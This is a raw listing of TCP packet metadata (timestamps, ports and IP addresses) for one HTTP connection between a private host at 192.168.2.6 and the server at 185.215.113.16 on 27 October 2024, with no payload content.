Oct 27, 2024 07:59:21.459980965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460011005 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460447073 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460485935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460496902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460505962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460515976 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460530043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460530043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460623980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460629940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460635900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460654974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460664988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460710049 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460745096 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460876942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460886955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460897923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460906982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.460958004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.460975885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.461133957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461146116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461154938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461164951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461174965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461231947 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.461242914 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.461494923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461512089 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461522102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.461565018 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.500698090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500750065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500757933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500767946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500801086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500818014 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.500914097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500925064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.500933886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.501034021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.501045942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.501085043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.501101017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.501179934 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.502347946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502445936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502454996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502465010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502511024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502542019 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.502542019 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.502543926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502557039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.502691984 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.503329039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.503339052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.503349066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.503443003 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.503443003 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.544930935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.544976950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.544995070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.545001984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.545190096 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.547059059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.547070026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.547122002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.547132969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.547142029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.547239065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.574665070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574764013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574774027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574863911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574872971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574882984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574892998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.574980021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575004101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575004101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575018883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575027943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575037956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575047970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575105906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575105906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575283051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575294018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575335026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575572968 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575674057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575685024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575694084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575817108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575828075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575839043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575850010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575859070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.575881004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.575881004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576059103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576092958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576105118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576147079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576167107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576184988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576220036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576395035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576466084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576477051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576488018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576497078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576603889 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576603889 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576720953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576730967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576740980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576751947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.576831102 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.576857090 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.616015911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616034031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616043091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616053104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616122961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616133928 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616142988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616178989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.616195917 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.616195917 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.616213083 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.616245985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616520882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.616851091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.617563009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617573977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617583036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617693901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.617774010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617784977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617794991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617804050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617892981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617907047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.617916107 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.617961884 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.618506908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.618518114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.618527889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.618581057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.660227060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.660306931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.660316944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.660377026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.660394907 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.660562992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.662420988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.662432909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.662444115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.662560940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691167116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691179991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691190958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691240072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691251040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691262007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691281080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691308975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691327095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691334963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691334963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691339970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691351891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691364050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691375017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691385984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691457987 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691458941 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691478968 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691641092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691653013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691663027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691703081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691715002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691726923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691737890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691756010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691790104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691802025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691812038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691823006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.691833019 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.691833973 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.692325115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692336082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692352057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692368984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692379951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692392111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692401886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692413092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.692506075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.692506075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.692506075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.692506075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.696016073 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.731239080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.731250048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.731256008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.731266975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.731277943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.731363058 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.731363058 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.733799934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733810902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733822107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733828068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733831882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733838081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733843088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733854055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733864069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733875990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733890057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733901024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733911991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733920097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733931065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733942986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733953953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.733966112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.734029055 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.734030008 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.734030008 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.734112024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.775511980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.775599957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.775615931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.775625944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.775703907 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.777599096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.777607918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.777618885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.777623892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.777705908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.777739048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.806422949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806443930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806454897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806463957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806541920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806600094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806615114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806648970 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.806669950 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.806679964 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.806809902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806819916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806835890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806848049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806864023 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.806874037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806889057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.806930065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806977987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806993961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.806997061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807005882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807017088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807027102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807126999 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807126999 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807382107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807400942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807411909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807447910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807472944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807472944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807485104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807574987 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807739019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807770967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807782888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807794094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807810068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.807840109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.807996035 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.808020115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.808068991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.808079958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.808089972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.808182955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.808196068 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.846479893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846491098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846499920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846561909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846575022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846580982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846585989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846683025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.846720934 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.846755028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846833944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.846859932 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.848032951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848073959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848087072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848125935 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.848155022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848165989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848175049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848206997 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.848263025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.848272085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848340034 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.848392010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848402023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848472118 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.848485947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848496914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848506927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.848565102 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.849024057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.849035978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.849052906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.849062920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.849075079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.849143028 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.849364042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.890882015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.890892982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.890903950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.891005039 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.892843962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.892937899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.892947912 CET	80	49750	185.215.113.16	192.168.2.6
